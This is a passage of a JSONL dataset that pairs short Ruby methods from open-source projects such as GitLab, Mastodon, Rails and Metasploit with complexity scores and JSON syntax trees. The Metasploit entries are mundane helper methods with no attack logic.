end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_vulnerability_export_part_upload\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"model\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"delete_model\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model\"]},{\"type\":\"send\",\"children\":[null,\"create_vulnerability_export_part\"]}]},{\"type\":\"send\",\"children\":[null,\"create_upload\",{\"type\":\"str\",\"children\":[\"Vulnerabilities::Export::Part\"]},{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delete_model\"]},{\"type\":\"lvar\",\"children\":[\"delete_model\"]}]}]}]}]}]}","id":"9667c9da-bd44-4095-9d24-2b389d19a8ab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/content_editor.rb","start_line":29,"raw_source":"def add_heading(heading, text)\n          within_element('content-editor') do\n            text_area.set(text)\n            within_element('formatting-toolbar') do\n              click_element('text-styles')\n              find_element('.gl-new-dropdown-contents li', text: heading).click\n            end\n          end\n        end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_heading\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"heading\"]},{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"content-editor\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"text_area\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"formatting-toolbar\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"text-styles\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_element\",{\"type\":\"str\",\"children\":[\".gl-new-dropdown-contents li\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"heading\"]}]}]}]},\"click\"]}]}]}]}]}]}","id":"468e6b14-9187-4fe1-a949-2f96f0027b16"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/system_check/media_privacy_check.rb","start_line":65,"raw_source":"def check_s3_listing!(full_url)\n    bucket_url = Addressable::URI.parse(full_url)\n    bucket_url.path = bucket_url.path.delete_suffix(media_attachment.file.path(:original))\n    bucket_url.query = \"max-keys=1&x-random=#{SecureRandom.hex(10)}\"\n    Request.new(:get, bucket_url, allow_local: true).perform do |res|\n      if res.truncated_body&.include?('ListBucketResult')\n        @failure_message = :upload_check_privacy_error_object_storage\n        @failure_action  = 'https://docs.joinmastodon.org/admin/optional/object-storage/#S3'\n      end\n    end\n  end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_s3_listing!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"full_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bucket_url\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"full_url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bucket_url\"]},\"path=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bucket_url\"]},\"path\"]},\"delete_suffix\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"media_attachment\"]},\"file\"]},\"path\",{\"type\":\"sym\",\"children\":[\"original\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bucket_url\"]},\"query=\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"max-keys=1&x-random=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[10]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Request\"]},\"new\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"lvar\",\"children\":[\"bucket_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_local\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"truncated_body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"ListBucketResult\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@failure_message\",{\"type\":\"sym\",\"children\":[\"upload_check_privacy_error_object_storage\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@failure_action\",{\"type\":\"str\",\"children\":[\"https://docs.joinmastodon.org/admin/optional/object-storage/#S3\"]}]}]},null]}]}]}]}","id":"4a82b52e-e2e3-4ade-8978-77a144c83dd5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/releases/link.rb","start_line":37,"raw_source":"def internal?\n      url.start_with?(release.project.web_url)\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"internal?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"url\"]},\"start_with?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"release\"]},\"project\"]},\"web_url\"]}]}]}","id":"ce66b527-8b8b-4cb3-9ddf-b261f52dc7de"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/onboarding_helper.rb","start_line":34,"raw_source":"def step_through_onboarding_wp_tour(project, wp)\n    expect(page).to have_no_css(\".op-loading-indicator\")\n    expect(page).to have_text sanitize_string(I18n.t(\"js.onboarding.steps.wp.list\")), normalize_ws: true\n\n    next_button.click\n    expect(page).to have_current_path project_work_package_path(project, wp.id, \"activity\")\n    expect(page).to have_text sanitize_string(I18n.t(\"js.onboarding.steps.wp.full_view\")), normalize_ws: true\n\n    next_button.click\n    expect(page).to have_text sanitize_string(I18n.t(\"js.onboarding.steps.wp.back_button\")), normalize_ws: true\n\n    next_button.click\n    expect(page).to have_text sanitize_string(I18n.t(\"js.onboarding.steps.wp.create_button\")), normalize_ws: true\n\n    next_button.click\n    expect(page).to have_text sanitize_string(I18n.t(\"js.onboarding.steps.wp.gantt_menu\")), normalize_ws: true\n\n    next_button.click\n    expect(page).to have_text sanitize_string(I18n.t(\"js.onboarding.steps.wp.timeline\")), normalize_ws: true\n\n    next_button.click\n    expect(page).to have_text sanitize_string(I18n.t(\"js.onboarding.steps.sidebar_arrow\")), normalize_ws: true\n  end","complexity_score":80.4,"ast_json":"{\"type\":\"def\",\"children\":[\"step_through_onboarding_wp_tour\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"wp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"str\",\"children\":[\".op-loading-indicator\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_text\",{\"type\":\"send\",\"children\":[null,\"sanitize_string\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.onboarding.steps.wp.list\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"normalize_ws\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_button\"]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_current_path\",{\"type\":\"send\",\"children\":[null,\"project_work_package_path\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wp\"]},\"id\"]},{\"type\":\"str\",\"children\":[\"activity\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_text\",{\"type\":\"send\",\"children\":[null,\"sanitize_string\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.onboarding.steps.wp.full_view\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"normalize_ws\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_button\"]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_text\",{\"type\":\"send\",\"children\":[null,\"sanitize_string\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.onboarding.steps.wp.back_button\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"normalize_ws\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_button\"]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_text\",{\"type\":\"send\",\"children\":[null,\"sanitize_string\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.onboarding.steps.wp.create_button\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"normalize_ws\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_button\"]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_text\",{\"type\":\"send\",\"children\":[null,\"sanitize_string\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.onboarding.steps.wp.gantt_menu\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"normalize_ws\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_button\"]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_text\",{\"type\":\"send\",\"children\":[null,\"sanitize_string\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.onboarding.steps.wp.timeline\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"normalize_ws\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_button\"]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_text\",{\"type\":\"send\",\"children\":[null,\"sanitize_string\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.onboarding.steps.sidebar_arrow\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"normalize_ws\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"06bfd335-f686-420b-9198-df59ed0edc0b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/drupal_drupageddon.rb","start_line":180,"raw_source":"def admin_role\n    datastore['ADMIN_ROLE']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"admin_role\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ADMIN_ROLE\"]}]}]}","id":"1776c250-a448-42ec-bf8a-5e71daa284e3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/reflection_test.rb","start_line":603,"raw_source":"def test_includes_accepts_symbols\n    hotel = Hotel.create!\n    department = hotel.departments.create!\n    department.chefs.create!\n\n    assert_nothing_raised do\n      assert_equal department.chefs, Hotel.includes([departments: :chefs]).first.chefs\n    end\n  end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_includes_accepts_symbols\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hotel\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hotel\"]},\"create!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"department\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hotel\"]},\"departments\"]},\"create!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"department\"]},\"chefs\"]},\"create!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"department\"]},\"chefs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hotel\"]},\"includes\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"departments\"]},{\"type\":\"sym\",\"children\":[\"chefs\"]}]}]}]}]},\"first\"]},\"chefs\"]}]}]}]}]}","id":"56681fbc-ae4b-4d9b-a3bd-2ff360631fe6"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/module_test.rb","start_line":436,"raw_source":"def test_delegate_missing_to_does_not_delegate_to_private_methods\n    e = assert_raises(NoMethodError) do\n      DecoratedReserved.new(@david).private_name\n    end\n\n    assert_match(/undefined method [`']private_name' for/, e.message)\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_delegate_missing_to_does_not_delegate_to_private_methods\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"NoMethodError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DecoratedReserved\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@david\"]}]},\"private_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"undefined method [`']private_name' for\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}","id":"6f05d095-d942-4d38-b43c-a2bb833f1aad"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/testing_support/locale_helpers.rb","start_line":72,"raw_source":"def switch_to_locale(locale)\n        open_i18n_menu\n        select locale, from: 'Language'\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"switch_to_locale\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"locale\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_i18n_menu\"]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"lvar\",\"children\":[\"locale\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"str\",\"children\":[\"Language\"]}]}]}]}]}]}","id":"7b2ff646-7f17-4bfd-8dea-e06cc4f2bd10"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/cisco_ios_xe.rb","start_line":9,"raw_source":"def self.to_mode(str)\n        case str.to_sym\n        when USER_EXEC\n          USER_EXEC\n        when PRIVILEGED_EXEC\n          PRIVILEGED_EXEC\n        when GLOBAL_CONFIGURATION\n          GLOBAL_CONFIGURATION\n        end\n      end","complexity_score":5.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_mode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"to_sym\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"USER_EXEC\"]},{\"type\":\"const\",\"children\":[null,\"USER_EXEC\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PRIVILEGED_EXEC\"]},{\"type\":\"const\",\"children\":[null,\"PRIVILEGED_EXEC\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GLOBAL_CONFIGURATION\"]},{\"type\":\"const\",\"children\":[null,\"GLOBAL_CONFIGURATION\"]}]},null]}]}","id":"38dfc629-16d1-4e2b-bf9b-5f511b1fd444"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/identity.rb","start_line":23,"raw_source":"def self.link_from_oauth_token(oauth_token)\n        fabricate(oauth_token.user).tap do |identity|\n          identity.link!(oauth_token.scope_user) if identity&.composite?\n        end\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"link_from_oauth_token\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"oauth_token\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fabricate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oauth_token\"]},\"user\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"identity\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identity\"]},\"composite?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"identity\"]},\"link!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oauth_token\"]},\"scope_user\"]}]},null]}]}]}","id":"dcae89d3-4194-4b5f-bedf-09b4df5d2fa5"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/notifications/property_factory.rb","start_line":44,"raw_source":"def details_for(notification)\n      concrete_factory_for(notification)\n        .for(notification)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"details_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"concrete_factory_for\",{\"type\":\"lvar\",\"children\":[\"notification\"]}]},\"for\",{\"type\":\"lvar\",\"children\":[\"notification\"]}]}]}","id":"bbc9b07f-548d-4865-932f-b74e8fc14471"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/finger/finger_users.rb","start_line":142,"raw_source":"def finger_user_common\n    if (!@common)\n      File.open(datastore['USERS_FILE'], \"rb\") do |fd|\n        data = fd.read(fd.stat.size)\n        @common = data.split(/\\n/).compact.uniq\n        @common.delete(\"\")\n      end\n    end\n    @common\n  end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"finger_user_common\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@common\"]},\"!\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERS_FILE\"]}]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fd\"]},\"stat\"]},\"size\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@common\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"compact\"]},\"uniq\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@common\"]},\"delete\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]},null]},{\"type\":\"ivar\",\"children\":[\"@common\"]}]}]}","id":"ec31da5a-9ae5-492b-9f9e-c2b39fd9fdd4"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_in_http.rb","start_line":226,"raw_source":"def test_multi_json_with_nonexistent_time_key\n    d = create_driver(config + %[\n      <parse>\n        time_key missing\n      </parse>\n    ])\n    time = event_time(\"2011-01-02 13:14:15 UTC\")\n    time_i = time.to_i\n    time_f = time.to_f\n\n    records = [{\"a\" => 1, 'time' => time_i},{\"a\" => 2, 'time' => time_f}]\n    tag = \"tag1\"\n    res_codes = []\n    d.run(expect_records: 2, timeout: 5) do\n      res = post(\"/#{tag}\", {\"json\" => records.to_json})\n      res_codes << res.code\n    end\n    assert_equal [\"200\"], res_codes\n    assert_equal 2, d.events.size\n    assert_not_equal time_i, d.events[0][1].sec # current time is used because \"missing\" field doesn't exist\n    assert_not_equal time_i, d.events[1][1].sec\n  end","complexity_score":43.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multi_json_with_nonexistent_time_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      <parse>\\n\"]},{\"type\":\"str\",\"children\":[\"        time_key missing\\n\"]},{\"type\":\"str\",\"children\":[\"      </parse>\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[null,\"event_time\",{\"type\":\"str\",\"children\":[\"2011-01-02 13:14:15 UTC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time_i\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"time_f\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"to_f\"]}]},{\"type\":\"lvasgn\",\"children\":[\"records\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"time_i\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"time_f\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"str\",\"children\":[\"tag1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res_codes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expect_records\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"records\"]},\"to_json\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_codes\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"200\"]}]},{\"type\":\"lvar\",\"children\":[\"res_codes\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"events\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"time_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"events\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"sec\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"lvar\",\"children\":[\"time_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"events\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"sec\"]}]}]}]}","id":"64560269-25d1-4d7d-9fd2-e7c05bdbe4e7"}
